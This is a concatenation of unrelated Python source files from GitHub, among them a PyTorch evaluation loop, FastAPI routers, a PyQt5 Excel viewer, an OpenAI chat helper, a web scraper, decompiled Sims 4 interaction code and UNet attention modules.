Curve')\n loss_curve_file = f\"loss_curve_epoch{epoch}.png\"\n plt.savefig(loss_curve_file)\n\n # 绘制和保存准确率曲线\n plt.figure()\n plt.plot(accuracies)\n plt.xlabel('Epoch')\n plt.ylabel('Accuracy')\n plt.title('Accuracy Curve')\n accuracy_curve_file = f\"accuracy_curve_epoch{epoch}.png\"\n plt.savefig(accuracy_curve_file)\n '''\n\n return {k: meter.global_avg for k, meter in metric_logger.meters.items()}\n\n#global_counter = 0\n\n@torch.no_grad()\ndef evaluate(data_loader, model, device, header = 'Test:'):\n criterion = torch.nn.CrossEntropyLoss()\n\n metric_logger = utils.MetricLogger(delimiter=\" \")\n\n # switch to evaluation mode\n model.eval()\n\n #true_labels = []\n #predicted_labels = []\n\n for images, target in metric_logger.log_every(data_loader, 200, header):\n images = images.to(device, non_blocking=True)\n target = target.to(device, non_blocking=True)\n\n # compute output\n with torch.cuda.amp.autocast():\n output = model(images)\n loss = criterion(output, target)\n\n acc1, acc5 = accuracy(output, target, topk=(1, 2))\n\n batch_size = images.shape[0]\n metric_logger.update(loss=loss.item())\n metric_logger.meters['acc1'].update(acc1.item(), n=batch_size)\n metric_logger.meters['acc5'].update(acc5.item(), n=batch_size)\n\n print('* Acc@1 {top1.global_avg:.3f} Acc@5 {top5.global_avg:.3f} loss {losses.global_avg:.3f}'\n .format(top1=metric_logger.acc1, top5=metric_logger.acc5, losses=metric_logger.loss))\n\n\n return {k: meter.global_avg for k, meter in metric_logger.meters.items()}\n","repo_name":"shulonghui/Android_Zero-day_Detection","sub_path":"engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":4450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41734366988","text":"#%% Script information\r\n# Name: problem5.py\r\n# Author: Pablo Lobo, plobo@itba.edu.ar\r\n#\r\n#%% Script description\r\n#\r\n#%% Clear Console\r\ncls = lambda: print(\"\\033[2J\\033[;H\", end='')\r\ncls()\r\n#%%\r\ndef search(L, e):\r\n for i in range(len(L)):\r\n if L[i] == e:\r\n return True\r\n if L[i] > e:\r\n return False\r\n return False\r\n\r\ndef newsearch(L, e):\r\n size = len(L)\r\n for i in range(size):\r\n if L[size-i-1] == e:\r\n return True\r\n if L[i] < e:\r\n return False\r\n return False\r\n\r\nL = [0, 2]\r\ne = 3\r\nprint(search(L,e))\r\nprint(newsearch(L,e))\r\n\r\n\r\n","repo_name":"lobopablo/mitx_6.0001_python","sub_path":"7 - Week 6 - Algorithmic Complexity/Problem Set/problem5.py","file_name":"problem5.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6980215342","text":"from fastapi import APIRouter, Body\nfrom dst_run.app.models.response_models import Response\nfrom dst_run.app.models.response_models import ResponseWorld\nfrom dst_run.confs.confs import CONF\n\n\nrouter = APIRouter(tags=['world'])\n\n\n@router.get('/world/master', response_model=Response, summary='获取上世界设置')\nasync def get_master_world_setting():\n world = ResponseWorld(master=CONF.world.master)\n return Response(world=world)\n\n\n@router.put('/world/master', response_model=Response, summary='设置地上世界')\nasync def set_master_world_setting(master: str = Body(None, media_type='text/plain')):\n CONF.world.update_master(master)\n return Response()\n\n\n@router.get('/world/caves', response_model=Response, summary='获取地下世界设置')\nasync def get_caves_world_setting():\n world = ResponseWorld(caves=CONF.world.caves)\n return Response(world=world)\n\n\n@router.put('/world/caves', response_model=Response, summary='设置地下世界')\nasync def set_caves_world_setting(caves: str = Body(None, media_type='text/plain')):\n CONF.world.update_caves(caves)\n return Response()\n","repo_name":"vksir/dst-run","sub_path":"dst_run/app/routes/world_routes.py","file_name":"world_routes.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"73404683073","text":"from fastapi import APIRouter, status, Depends\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\nfrom database import get_async_session\nfrom task import service\nfrom task.structures import TaskStructures, TaskCreateStructures\n\ntasks_router = APIRouter(prefix=\"/tasks\", tags=[\"tasks\"])\n\n\n@tasks_router.get(\"/\", response_model=list[TaskStructures], status_code=status.HTTP_200_OK)\nasync def get_all_tasks(session: AsyncSession = Depends(get_async_session)):\n return await service.get_all_tasks(session)\n\n\n@tasks_router.post(\"/\", response_model=TaskStructures, status_code=status.HTTP_201_CREATED)\nasync def create_task(task: TaskCreateStructures, session: AsyncSession = Depends(get_async_session)):\n return await service.create_task(session, task)\n\n\n@tasks_router.get(\"/{task_id}\", response_model=TaskStructures, status_code=status.HTTP_200_OK)\nasync def get_task(task_id: int, session: AsyncSession = Depends(get_async_session)):\n return await service.get_task_by_id(session, task_id)\n\n\n@tasks_router.delete(\"/{task_id}\")\nasync def delete_task(task_id: int, session: AsyncSession = Depends(get_async_session)):\n return await service.delete_task(session, task_id)\n\n\n@tasks_router.put(\"/{task_id}\", response_model=TaskStructures, status_code=status.HTTP_200_OK)\nasync def update_task(task_id: int, data: TaskCreateStructures, session: AsyncSession = Depends(get_async_session)):\n return await service.update_task(session, task_id, data)\n","repo_name":"maksim-gostev/FastAPI_CK","sub_path":"src/task/router.py","file_name":"router.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7299211683","text":"import sys\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5 import uic\r\nfrom PyQt5.QtGui import *\r\nfrom PyQt5.QtCore import *\r\nimport sys\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport os\r\n\r\n#UI파일 연결\r\n#단, UI파일은 Python 코드 파일과 같은 디렉토리에 위치해야한다.\r\nform_class = uic.loadUiType(\"UI22.ui\")[0]\r\n\r\n#화면을 띄우는데 사용되는 Class 선언\r\nclass WindowClass(QMainWindow, form_class) :\r\n def __init__(self) :\r\n super().__init__()\r\n self.setupUi(self)\r\n\r\n #pixmap = QPixmap('cutter.png')\r\n #self.lbl_img.setPixmap(pixmap)\r\n\r\n self.tbl.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch)\r\n self.tbl.verticalHeader().setSectionResizeMode(QHeaderView.Stretch)\r\n #self.tbl.setStyleSheet(\"QWidget { background-color: #aa8888; } QHeaderView::section { background-color: #88aa88; } QTableWidget QTableCornerButton::section {background-color: #8888aa; }\")\r\n\r\n self.open_btn.clicked.connect(self.clickopenbtn)\r\n self.tbl.cellDoubleClicked.connect(self.call_chart)\r\n self.img_btn.clicked.connect(self.clickimgbtn)\r\n\r\n def clickimgbtn(self):\r\n file_name, ext = QFileDialog.getOpenFileName(self, '파일 열기', os.getcwd(), 'PNG (*.png)')\r\n if file_name:\r\n pixmap = QPixmap(file_name)\r\n self.lbl_img.setPixmap(pixmap)\r\n\r\n\r\n def clickopenbtn(self):\r\n file_path, ext = QFileDialog.getOpenFileName(self, '파일 열기', os.getcwd(), 'excel file (*.xls *.xlsx)')\r\n if file_path:\r\n self.df_list = self.loadData(file_path)\r\n self.initTableWidget(0)\r\n\r\n def loadData(self, file_name):\r\n df_list = []\r\n with pd.ExcelFile(file_name) as wb:\r\n for i, sn in enumerate(wb.sheet_names):\r\n try:\r\n df = pd.read_excel(wb, sheet_name=sn)\r\n except Exception as e:\r\n print('File read error:', e)\r\n else:\r\n df_list.append(df)\r\n return df_list\r\n\r\n def initTableWidget(self, id):\r\n self.tbl.clear()\r\n df = self.df_list[id];\r\n col = len(df.keys())\r\n self.tbl.setColumnCount(col)\r\n self.tbl.setHorizontalHeaderLabels(df.keys())\r\n # dataframe의 행 개수 확인\r\n row = len(df.index)\r\n self.tbl.setRowCount(row)\r\n self.tbl.setVerticalHeaderLabels((\r\n \"Cutter1;Cutter2;Cutter3;Cutter4;Cutter5;Cutter6;Cutter7;Cutter8;Cutter9;Cutter10;Cutter11;Cutter12\").split(\r\n ';'))\r\n self.writeTableWidget(id, df, row, col)\r\n\r\n def writeTableWidget(self, id, df, row, col):\r\n for r in range(row):\r\n for c in range(col):\r\n item = QTableWidgetItem(str(df.iloc[r][c]))\r\n item.setTextAlignment(Qt.AlignCenter)\r\n self.tbl.setItem(r, c, item)\r\n\r\n def call_chart(self, row, col):\r\n item = self.tbl.item(row, col)\r\n dtf = pd.DataFrame(self.df_list[row + 1])\r\n if col == 0:\r\n col = 'Wear'\r\n elif col == 1:\r\n col = 'Weight'\r\n else:\r\n col = 'RPM'\r\n dtf.set_index(dtf.columns[0], drop=True, inplace=True)\r\n name = 'Cutter' + str(row + 1) + ' - ' + col\r\n dtf = dtf[col]\r\n dtf.plot()\r\n plt.title(name)\r\n plt.show()\r\n\r\nif __name__ == \"__main__\" :\r\n #QApplication : 프로그램을 실행시켜주는 클래스\r\n app = QApplication(sys.argv)\r\n\r\n #WindowClass의 인스턴스 생성\r\n myWindow = WindowClass()\r\n\r\n #프로그램 화면을 보여주는 코드\r\n myWindow.show()\r\n\r\n #프로그램을 이벤트루프로 진입시키는(프로그램을 작동시키는) 코드\r\n app.exec_()","repo_name":"jong-0/pyqt5_GUI","sub_path":"UI22.py","file_name":"UI22.py","file_ext":"py","file_size_in_byte":3807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70079197955","text":"from django.shortcuts import render, redirect\nimport openai\n\ndef initializeSession(request):\n request.session['messages'] = [\n {\"role\": \"system\",\n \"content\": \"You are now chatting with a user, provide them with comprehensive, short and concise answers.\"},\n ]\n\ndef retrieveUserInput(request): \n # get the prompt from the form\n prompt = request.POST.get('prompt')\n print(\"Q:\" + str(prompt))\n # temperature is the randomness of the response under the AI context\n temperature = float(request.POST.get('temperature', 0.1))\n # append the prompt to the messages list\n request.session['messages'].append({\"role\": \"user\", \"content\": prompt})\n # set the session as modified\n request.session.modified = True\n # call the openai API\n response = openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo\",\n messages=request.session['messages'],\n temperature=temperature,\n max_tokens=1000,\n )\n \n return response, temperature\n\ndef formatResponse(request, response):\n # format the response\n formatted_response = response['choices'][0]['message']['content']\n # append the response to the messages list\n request.session['messages'].append({\"role\": \"assistant\", \"content\": formatted_response})\n request.session.modified = True\n\ndef createContext(request, temperature=1.0):\n # redirect to the home page\n context = {\n 'messages': request.session['messages'],\n 'prompt': '',\n 'temperature': temperature,\n }\n \n return context \n","repo_name":"Natasha-A/chatgpt-chatbot","sub_path":"webassistant/assistant/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"19296805423","text":"#%%\nfrom bs4 import BeautifulSoup\nimport requests\nimport re\nimport pandas as pd\nfrom w3lib import html\nfrom tqdm import tqdm\n\n# %%\ndef sanitize(text):\n text = html.remove_tags_with_content(text, which_ones=('script', 'style'))\n text = html.replace_tags(text, \" \")\n text = html.replace_escape_chars(text)\n text = html.remove_comments(text)\n\n text = text.replace(\" \", \" \")\n for _ in range(30):\n text = text.replace(\" \", \" \")\n text = text.replace(\" \", \" \")\n text = text.replace(\"\\xa0\", \" \")\n return text\n\ndef scrap_single(url):\n r = requests.get(url)\n r.encoding = \"utf-8\"\n soup = BeautifulSoup(r.text, \"html.parser\")\n # title = soup.find(\"h1\", {\"class\": \"product__title\"}).text\n # if title == \"\":\n # title = soup.find(\"h1\", {\"class\": \"post-header__heading\"}).text\n title = soup.title.text\n for i in soup.find_all(\"section\", {\"class\": \"section similar-items\"}):\n i.decompose()\n text = sanitize(str(soup))\n return {\"name\": title, \"text\": text, \"url\": url}\n\nscrap_single(\"https://pfr.pl/oferta/gwarancja-splaty-leasingu-pozyczki.html\")\n\n# %%\nr = requests.get(\"https://pfr.pl/.rest/api/products?need=Finansowanie&productGroups=PFR,VENTURE_FOF,SMART-CITY-FINANSOWANIE\")\nr.encoding = \"utf-8\"\njson = r.json()\n\nres = []\nfor item in tqdm(json):\n res.append(scrap_single(item[\"location\"]))\n\n#%%\ndf = pd.DataFrame(res)\ndf.to_csv(\"pfr.tsv\", index=False, sep='\\t')","repo_name":"JustCheckingHow/investment-scraper","sub_path":"PFR/scrap.py","file_name":"scrap.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14654814868","text":"import pandas as pd\nimport swifter\nimport utils\n\ndef main():\n train_data = utils.load_train_hdf('../data/')\n close_feats = train_data.swifter.apply(utils.find_closest_hit_per_station, result_type='expand', axis=1)\n close_feats.to_csv('../data/train_closest_hits_features.csv')\n\n test_data = pd.read_hdf('../data/test_public_v2.hdf')\n close_feats = test_data.swifter.apply(utils.find_closest_hit_per_station, result_type='expand', axis=1)\n close_feats.to_csv('../data/test_closest_hits_features.csv')\n \n private_test_data = pd.read_hdf('../data/test_private_v2_track_1.hdf')\n close_feats = private_test_data.swifter.apply(utils.find_closest_hit_per_station, result_type='expand', axis=1)\n close_feats.to_csv('../data/private_test_closest_hits_features.csv')\n\nif __name__ == \"__main__\":\n main()","repo_name":"sandeep307/IDAO_2019","sub_path":"IDAO_2019_EUREKA/feature_generation.py","file_name":"feature_generation.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"20460017786","text":"import random\nimport alarms\nfrom audio.primitive import PlaySound\nimport build_buy\nimport clock\nfrom crafting.crafting_interactions import CraftingPhaseSuperInteractionMixin, CraftingPhaseStagingSuperInteraction\nfrom crafting.music import MusicStyle\nfrom event_testing.resolver import SingleSimResolver\nfrom interactions.aop import AffordanceObjectPair\nfrom interactions.base.immediate_interaction import ImmediateSuperInteraction\nfrom interactions.base.super_interaction import SuperInteraction\nfrom interactions.interaction_finisher import FinishingType\nfrom interactions.social.social_super_interaction import SocialSuperInteraction\nimport services\nimport sims4\nfrom element_utils import build_critical_section_with_finally\nfrom sims4.tuning.tunable import Tunable, TunableList, TunableReference, TunableRange\nfrom sims4.utils import flexmethod\nfrom singletons import DEFAULT\nfrom tag import Tag\nfrom ui.ui_dialog_generic import UiDialogTextInputOk\nlogger = sims4.log.Logger('Interactions')\n\nclass PlayAudioSuperInteraction(SuperInteraction):\n __qualname__ = 'PlayAudioSuperInteraction'\n INSTANCE_SUBCLASSES_ONLY = True\n SCRIPT_EVENT_ID_START_AUDIO = 100\n SCRIPT_EVENT_ID_STOP_AUDIO = 101\n INSTANCE_TUNABLES = {'play_multiple_clips': Tunable(description='\\n If true, the Sim will continue playing until the interaction is\\n cancelled or exit conditions are met. \\n ', needs_tuning=False, tunable_type=bool, default=False), 'music_styles': TunableList(TunableReference(description='\\n Which music styles are available for this interaction.\\n ', manager=services.get_instance_manager(sims4.resources.Types.RECIPE), class_restrictions=(MusicStyle,))), 'use_buffer': Tunable(description=\"\\n If true, this interaction will add the buffer tuned on the music\\n track to the length of the track. This is tunable because some\\n interactions, like Practice, use shorter audio clips that don't\\n require the buffer.\\n \", needs_tuning=False, tunable_type=bool, default=True)}\n\n def __init__(self, aop, context, track=None, pie_menu_category=None, unlockable_name=None, **kwargs):\n super().__init__(aop, context, **kwargs)\n self._track = track\n self.pie_menu_category = pie_menu_category\n self._unlockable_name = unlockable_name\n self._sound_alarm = None\n self._sound = None\n\n def build_basic_content(self, sequence=(), **kwargs):\n self.animation_context.register_event_handler(self._create_sound_alarm, handler_id=self.SCRIPT_EVENT_ID_START_AUDIO)\n self.animation_context.register_event_handler(self._cancel_sound_alarm, handler_id=self.SCRIPT_EVENT_ID_STOP_AUDIO)\n return super().build_basic_content(sequence, **kwargs)\n\n def on_reset(self):\n self._cancel_sound_alarm()\n super().on_reset()\n\n def _create_sound_alarm(self, *args, **kwargs):\n track_length = self._get_track_length()\n if self._sound_alarm is None:\n self._sound_alarm = alarms.add_alarm(self, track_length, self._sound_alarm_callback)\n if self._sound is None:\n self._sound = PlaySound(self._instrument, self._track.music_clip.instance)\n self._sound.start()\n\n def _sound_alarm_callback(self, handle):\n if self.play_multiple_clips:\n self._cancel_sound_alarm()\n if hasattr(self, 'recipe'):\n styles = [self.recipe.music_style]\n else:\n styles = self.music_styles\n self._track = PlayAudioSuperInteraction._get_next_track(styles, self.sim, self.get_resolver())\n self._create_sound_alarm()\n else:\n self.cancel(FinishingType.NATURAL, cancel_reason_msg='Sound alarm triggered and the song finished naturally.')\n\n def _cancel_sound_alarm(self, *args, **kwargs):\n if self._sound_alarm is not None:\n alarms.cancel_alarm(self._sound_alarm)\n self._sound_alarm = None\n if self._sound is not None:\n self._sound.stop()\n self._sound = None\n\n def _get_track_length(self):\n real_seconds = self._track.length\n if self.use_buffer:\n real_seconds += self._track.buffer\n interval = clock.interval_in_real_seconds(real_seconds)\n return interval\n\n @property\n def _instrument(self):\n return self.target\n\n @staticmethod\n def _get_next_track(styles, sim, resolver):\n valid_tracks = []\n for style in styles:\n for track in style.music_tracks:\n if track.check_for_unlock and sim.sim_info.unlock_tracker.is_unlocked(track):\n valid_tracks.append(track)\n else:\n while not track.check_for_unlock and track.tests.run_tests(resolver):\n valid_tracks.append(track)\n sim_mood = sim.get_mood()\n valid_mood_tracks = tuple(track for track in valid_tracks if sim_mood in track.moods)\n return random.choice(valid_mood_tracks or valid_tracks)\n\nclass PlayAudioSuperInteractionTieredMenu(PlayAudioSuperInteraction):\n __qualname__ = 'PlayAudioSuperInteractionTieredMenu'\n\n @flexmethod\n def get_pie_menu_category(cls, inst, pie_menu_category=None, **interaction_parameters):\n if inst is not None:\n return inst.pie_menu_category\n return pie_menu_category\n\n @flexmethod\n def _get_name(cls, inst, target=DEFAULT, context=DEFAULT, track=None, unlockable_name=None, **kwargs):\n loc_args = ()\n if track is not None:\n if unlockable_name is not None:\n loc_args = unlockable_name\n return track.loc_clip_name(loc_args)\n inst_or_cls = inst if inst is not None else cls\n return super(SuperInteraction, inst_or_cls)._get_name(target=target, context=context, **kwargs)\n\n @classmethod\n def potential_interactions(cls, target, context, **kwargs):\n sim = context.sim\n resolver = SingleSimResolver(sim.sim_info)\n for style in cls.music_styles:\n for track in style.music_tracks:\n while track.tests.run_tests(resolver):\n if not track.check_for_unlock:\n yield AffordanceObjectPair(cls, target, cls, None, track=track, pie_menu_category=style.pie_menu_category, **kwargs)\n else:\n unlocks = sim.sim_info.unlock_tracker.get_unlocks(track)\n if unlocks:\n while True:\n for unlock in unlocks:\n yield AffordanceObjectPair(cls, target, cls, None, track=unlock.tuning_class, pie_menu_category=style.pie_menu_category, unlockable_name=unlock.name, **kwargs)\n\nclass PlayAudioSuperInteractionNonTieredMenu(PlayAudioSuperInteraction):\n __qualname__ = 'PlayAudioSuperInteractionNonTieredMenu'\n\n def __init__(self, aop, context, **kwargs):\n super().__init__(aop, context, **kwargs)\n if 'phase' in kwargs:\n phase = kwargs['phase']\n styles = [phase.recipe.music_style]\n else:\n styles = self.music_styles\n self._track = PlayAudioSuperInteraction._get_next_track(styles, context.sim, self.get_resolver())\n\nclass PlayAudioSocialSuperInteraction(PlayAudioSuperInteractionNonTieredMenu, SocialSuperInteraction):\n __qualname__ = 'PlayAudioSocialSuperInteraction'\n\n @property\n def _instrument(self):\n if self.carry_target is not None:\n return self.carry_target\n return self.target\n\nclass PlayAudioCraftingPhaseStagingSuperInteraction(PlayAudioSuperInteractionNonTieredMenu, CraftingPhaseStagingSuperInteraction):\n __qualname__ = 'PlayAudioCraftingPhaseStagingSuperInteraction'\n\nTEXT_INPUT_SONG_NAME = 'song_name'\n\nclass UnluckMusicTrackSuperInteraction(CraftingPhaseSuperInteractionMixin, SuperInteraction):\n __qualname__ = 'UnluckMusicTrackSuperInteraction'\n INSTANCE_TUNABLES = {'dialog': UiDialogTextInputOk.TunableFactory(description='\\n Text entry dialog to name the song the Sim wrote.\\n ', text_inputs=(TEXT_INPUT_SONG_NAME,))}\n\n def _run_interaction_gen(self, timeline):\n\n def on_response(dialog):\n if not dialog.accepted:\n self.cancel(FinishingType.DIALOG, cancel_reason_msg='Name Song dialog timed out from client.')\n return\n name = dialog.text_input_responses.get(TEXT_INPUT_SONG_NAME)\n self.sim.sim_info.unlock_tracker.add_unlock(self.phase.recipe.music_track_unlock, name)\n\n dialog = self.dialog(self.sim, self.get_resolver())\n dialog.show_dialog(on_response=on_response)\n\n def _destroy_target():\n self.process.current_ico.destroy(source=self, cause='Destroying target of unlock music track SI')\n\n self.add_exit_function(_destroy_target)\n return True\n\nclass LicenseSongSuperInteraction(SuperInteraction):\n __qualname__ = 'LicenseSongSuperInteraction'\n INSTANCE_TUNABLES = {'music_styles': TunableList(TunableReference(description='\\n Which music styles are available for this interaction. This\\n should be only the Written Music Style for the particular\\n instrument.\\n ', manager=services.get_instance_manager(sims4.resources.Types.RECIPE), class_restrictions=(MusicStyle,), reload_dependent=True))}\n\n @classmethod\n def _verify_tuning_callback(cls):\n for style in cls.music_styles:\n for track in style.music_tracks:\n while not track.check_for_unlock:\n logger.error(\"MusicTrack {} does not have check_for_unlock set to False. This is required for MusicTracks that can be 'Licensed'.\", track.__name__)\n\n def __init__(self, aop, context, track=None, unlockable_name=None, **kwargs):\n super().__init__(aop, context, unlockable_name=unlockable_name, **kwargs)\n self._track = track\n self._unlockable_name = unlockable_name\n\n @flexmethod\n def _get_name(cls, inst, target=DEFAULT, context=DEFAULT, track=None, unlockable_name=None, **kwargs):\n if unlockable_name is not None:\n return track.loc_clip_name(unlockable_name)\n inst_or_cls = inst if inst is not None else cls\n return super(SuperInteraction, inst_or_cls)._get_name(target=target, context=context, **kwargs)\n\n @classmethod\n def potential_interactions(cls, target, context, **kwargs):\n if context.sim is None:\n return\n for style in cls.music_styles:\n for track in style.music_tracks:\n unlocks = context.sim.sim_info.unlock_tracker.get_unlocks(track)\n while unlocks:\n while True:\n for unlock in unlocks:\n yield AffordanceObjectPair(cls, target, cls, None, track=unlock.tuning_class, pie_menu_category=style.pie_menu_category, unlockable_name=unlock.name, **kwargs)\n\nclass HackBringToTearsImmediateInteraction(ImmediateSuperInteraction):\n __qualname__ = 'HackBringToTearsImmediateInteraction'\n\n def _run_interaction_gen(self, timeline):\n violin = None\n violin_tag = set([Tag.Instrument_Violin])\n inventory = self.sim.inventory_component\n for item in inventory:\n object_tags = set(build_buy.get_object_all_tags(item.definition.id))\n while object_tags & violin_tag:\n violin = item\n break\n if violin is not None:\n self.context.carry_target = violin\n yield super()._run_interaction_gen(timeline)\n return False\n\n","repo_name":"johndpope/sims4-ai-engine","sub_path":"simulation/crafting/music_interactions.py","file_name":"music_interactions.py","file_ext":"py","file_size_in_byte":11706,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"74246393795","text":"# adapted from https://github.com/milesial/Pytorch-UNet\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch\nfrom networks.backbone import RED_SK_Block, LayerNorm2d\nfrom networks.attn import MDTA, CrossAttention, MDTABlock, CrossAttentionBlock\n\nclass SCAM(nn.Module):\n '''\n Stereo Cross Attention Module (SCAM)\n '''\n def __init__(self, c):\n super().__init__()\n self.scale = c ** -0.5\n\n self.norm_l = nn.LayerNorm(c)\n self.norm_r = nn.LayerNorm(c)\n self.l_proj1 = nn.Conv2d(c, c, kernel_size=1, stride=1, padding=0)\n self.r_proj1 = nn.Conv2d(c, c, kernel_size=1, stride=1, padding=0)\n \n self.beta = nn.Parameter(torch.zeros((1, c, 1, 1)), requires_grad=True)\n self.gamma = nn.Parameter(torch.zeros((1, c, 1, 1)), requires_grad=True)\n\n self.l_proj2 = nn.Conv2d(c, c, kernel_size=1, stride=1, padding=0)\n self.r_proj2 = nn.Conv2d(c, c, kernel_size=1, stride=1, padding=0)\n\n def forward(self, x_l, x_r):\n Q_l = self.l_proj1(self.norm_l(x_l)).permute(0, 2, 3, 1) # B, H, W, c\n Q_r_T = self.r_proj1(self.norm_r(x_r)).permute(0, 2, 1, 3) # B, H, c, W (transposed)\n\n V_l = self.l_proj2(x_l).permute(0, 2, 3, 1) # B, H, W, c\n V_r = self.r_proj2(x_r).permute(0, 2, 3, 1) # B, H, W, c\n\n # (B, H, W, c) x (B, H, c, W) -> (B, H, W, W)\n attention = torch.matmul(Q_l, Q_r_T) * self.scale\n\n F_r2l = torch.matmul(torch.softmax(attention, dim=-1), V_r) #B, H, W, c\n F_l2r = torch.matmul(torch.softmax(attention.permute(0, 1, 3, 2), dim=-1), V_l) #B, H, W, c\n\n # scale\n F_r2l = F_r2l.permute(0, 3, 1, 2) * self.beta\n F_l2r = F_l2r.permute(0, 3, 1, 2) * self.gamma\n return x_l + F_r2l, x_r + F_l2r\n\nclass ChannelAttention(nn.Module):\n def __init__(self, in_channel = 64) -> None:\n super().__init__()\n self.ca = nn.Sequential(\n nn.AdaptiveAvgPool2d(1),\n nn.Conv2d(in_channel,in_channel // 2,1),\n nn.ReLU(),\n nn.Conv2d(in_channel // 2,in_channel,1),\n nn.Sigmoid()\n )\n \n def forward(self, x):\n return x * self.ca(x)\n\nclass SimpleChannelAttention(nn.Module):\n def __init__(self, in_channel) -> None:\n super().__init__()\n self.ca = nn.Sequential(\n nn.AdaptiveAvgPool2d(1),\n nn.Conv2d(in_channel,in_channel,1)\n )\n \n def forward(self, x):\n return x*self.ca(x)\n\n# adopted from https://github.com/megvii-research/NAFNet/blob/main/basicsr/models/archs/NAFNet_arch.py#L22\nclass SimpleGate(nn.Module):\n def __init__(self, c, FFN_Expand = 2) -> None:\n super().__init__()\n self.norm = LayerNorm2d(c)\n ffn_channel = FFN_Expand * c\n self.conv4 = nn.Conv2d(in_channels=c, out_channels=ffn_channel, kernel_size=1, padding=0, stride=1, groups=1, bias=True)\n self.conv5 = nn.Conv2d(in_channels=ffn_channel // 2, out_channels=c, kernel_size=1, padding=0, stride=1, groups=1, bias=True)\n\n def forward(self, x):\n x = self.norm(x)\n x = self.conv4(x)\n x1, x2 = x.chunk(2, dim=1)\n x = x1 * x2\n x = self.conv5(x)\n \n return x\n\nclass MultiHeadSelfAttention(nn.Module):\n def __init__(self, input_dim, hidden_dim, num_heads) -> None:\n super().__init__()\n assert hidden_dim % num_heads == 0, 'In MHSA, the hidden_dim must divide num_heads'\n self.num_heads = num_heads\n self.scale_factor = (hidden_dim // num_heads) ** 0.5\n self.q = nn.Linear(input_dim, hidden_dim)\n self.k = nn.Linear(input_dim, hidden_dim)\n self.v = nn.Linear(input_dim, hidden_dim)\n self.out = nn.Linear(hidden_dim, input_dim)\n\n def forward(self, feature):\n B,L, _ = feature.shape\n q,k,v = self.q(feature), self.k(feature), self.v(feature) # [B,L,input_dim] -> [B,L,hidden_dim]\n q,k,v = q.reshape(B, L, self.num_heads, -1), \\\n k.reshape(B, L, self.num_heads, -1), \\\n v.reshape(B, L, self.num_heads, -1) # [B,L,hidden_dim] -> [B,L,N, hidden_dim_new]\n q,k,v = q.permute(0,2,1,3), k.permute(0,2,1,3), v.permute(0,2,1,3) # [B,L,N, hidden_dim_new] -> [B,N,L, hidden_dim_new]\n attn = torch.matmul(q, k.permute(0,1,3,2)) / self.scale_factor # [B,N,L,L]\n attn_weight = F.softmax(attn, dim= -1)\n out = torch.matmul(attn_weight, v) # [B,N,L,hidden]\n out = out.permute(0,2,1,3).reshape(B,L,-1) # [B,L,N,hidden]\n out = self.out(out)\n return out\n\nclass DoubleConv(nn.Module):\n \"\"\"(convolution => [BN] => ReLU) * 2\"\"\"\n\n def __init__(self, in_channels, out_channels, mid_channels=None ,norm = 'bn' , act = 'relu'):\n super().__init__()\n if not mid_channels:\n mid_channels = out_channels\n self.conv1 = nn.Conv2d(in_channels, mid_channels, kernel_size=3, padding=1, bias=False)\n self.conv2 = nn.Conv2d(mid_channels, out_channels, kernel_size=3, padding=1, bias=False)\n if norm == 'bn':\n self.norm1 = nn.BatchNorm2d(mid_channels)\n self.norm2 = nn.BatchNorm2d(out_channels)\n elif norm == 'ln':\n self.norm1 = LayerNorm2d(mid_channels)\n self.norm2 = LayerNorm2d(out_channels)\n else:\n self.norm1 = None\n self.norm2 = None\n \n if act == 'relu':\n self.act1 = nn.ReLU(inplace=True)\n self.act2 = nn.ReLU(inplace=True)\n elif act == 'gelu':\n self.act1 = nn.GELU()\n self.act2 = nn.GELU()\n elif act == 'sg':\n # self.act1 = SimpleGate(mid_channels)\n # self.act2 = SimpleGate(out_channels)\n self.act1 = None\n self.act2 = nn.GELU()\n else:\n self.act1 = None\n self.act2 = None\n self._reset_parameters()\n\n def _reset_parameters(self):\n for p in self.parameters():\n if p.dim() > 1:\n nn.init.xavier_uniform_(p)\n \n def forward(self, x):\n out = self.conv1(x)\n if self.norm1:\n out = self.norm1(out)\n if self.act1:\n out = self.act1(out)\n \n out = self.conv2(out)\n if self.norm2:\n out = self.norm2(out)\n if self.act2:\n out = self.act2(out)\n \n return out\n\n\nclass Down(nn.Module):\n \"\"\"Downscaling with maxpool then double conv\"\"\"\n\n def __init__(self, in_channels, out_channels ,norm = 'bn' , act = 'relu'):\n super().__init__()\n self.maxpool_conv = nn.Sequential(\n nn.MaxPool2d(2),\n DoubleConv(in_channels, out_channels, norm = norm , act = act)\n )\n\n self._reset_parameters()\n\n def _reset_parameters(self):\n for p in self.parameters():\n if p.dim() > 1:\n nn.init.xavier_uniform_(p)\n\n def forward(self, x):\n return self.maxpool_conv(x)\n\n\nclass Up(nn.Module):\n \"\"\"Upscaling then double conv\"\"\"\n\n def __init__(self, in_channels, out_channels, bilinear=True, norm = 'bn', act = 'relu'):\n super().__init__()\n\n # if bilinear, use the normal convolutions to reduce the number of channels\n if bilinear:\n self.up = nn.Upsample(scale_factor=2, mode='bilinear', 